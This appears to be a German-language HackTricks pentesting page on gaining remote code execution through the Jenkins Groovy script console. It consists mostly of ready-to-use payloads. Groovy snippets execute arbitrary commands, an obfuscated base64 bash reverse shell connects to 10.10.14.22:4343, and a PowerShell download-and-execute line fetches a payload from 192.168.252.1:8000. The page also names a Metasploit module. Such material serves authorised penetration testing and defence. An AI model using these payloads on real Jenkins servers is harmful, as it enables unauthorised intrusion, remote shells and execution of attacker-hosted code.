Jenkins RCE with Groovy Script

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Jenkins RCE mit Groovy-Skript

Dies ist weniger aufdringlich als das Erstellen eines neuen Projekts in Jenkins

  1. Gehen Sie zu Pfad_jenkins/script

  2. Geben Sie im Textfeld das Skript ein

def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"

Du könntest einen Befehl ausführen mit: cmd.exe /c dir

In Linux kannst du folgendes tun: "ls /".execute().text

Wenn du Anführungszeichen und einfache Anführungszeichen im Text verwenden musst, kannst du """PAYLOAD""" (dreifache doppelte Anführungszeichen) verwenden, um das Payload auszuführen.

Ein weiteres nützliches Groovy-Skript ist (ersetze [INSERT COMMAND]):

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Umgekehrte Shell in Linux

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Umgekehrte Shell in Windows

Sie können einen HTTP-Server mit einer PS-Umkehrshell vorbereiten und Jenkins verwenden, um sie herunterzuladen und auszuführen:

scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>

Skript

Sie können diesen Prozess mit diesem Skript automatisieren.

Sie können MSF verwenden, um eine Reverse-Shell zu erhalten:

msf> use exploit/multi/http/jenkins_script_console
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated